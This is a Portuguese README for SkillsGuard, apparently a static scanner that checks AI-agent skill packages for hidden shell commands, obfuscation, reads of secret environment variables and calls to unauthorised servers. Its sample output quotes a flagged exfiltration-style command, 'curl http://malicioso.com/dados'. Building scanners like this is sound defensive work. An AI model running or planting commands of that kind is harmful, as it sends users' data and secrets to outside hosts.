O que SkillsGuard faz?
Scanner de segurança estático para pacotes de habilidades de agentes de IA. Detecta arquivos SKILL.md e scripts empacotados maliciosos antes que sejam executados.
Funcionalidades
- Análise Estática: Inspeciona arquivos SKILL.md e scripts sem executá-los.
- Detecção de Comandos Maliciosos: Identifica comandos shell ocultos, ofuscação e tentativas de exfiltração de dados.
- Verificação de Dependências: Analisa scripts empacotados em busca de códigos perigosos ou dependências suspeitas.
- Integração CI/CD: Pode ser incorporado em pipelines de integração contínua para verificação automatizada.
- Relatórios Claros: Fornece saída detalhada sobre ameaças detectadas, incluindo localização e tipo da ameaça.
Uso
skillsguard scan ./caminho/para/habilidade
Suporte a Plataformas
- Claude Code
- Cursor
- Codex
- Outros agentes de IA que suportam habilidades baseadas em SKILL.md
Como Funciona
O SkillsGuard percorre o diretório da habilidade, analisa o arquivo SKILL.md e quaisquer scripts empacotados. Ele usa regras de análise estática para identificar padrões suspeitos, como:
- Comandos shell embutidos em markdown.
- Scripts que tentam acessar variáveis de ambiente sensíveis.
- Código ofuscado ou codificado.
- Referências a servidores remotos não autorizados.
Exemplo de Saída
[AVISO] Comando shell suspeito encontrado em SKILL.md: `curl http://malicioso.com/dados`
[ERRO] Script `install.sh` tenta acessar variável de ambiente `API_KEY`
Instalação
npm install -g skillsguard
Licença
MIT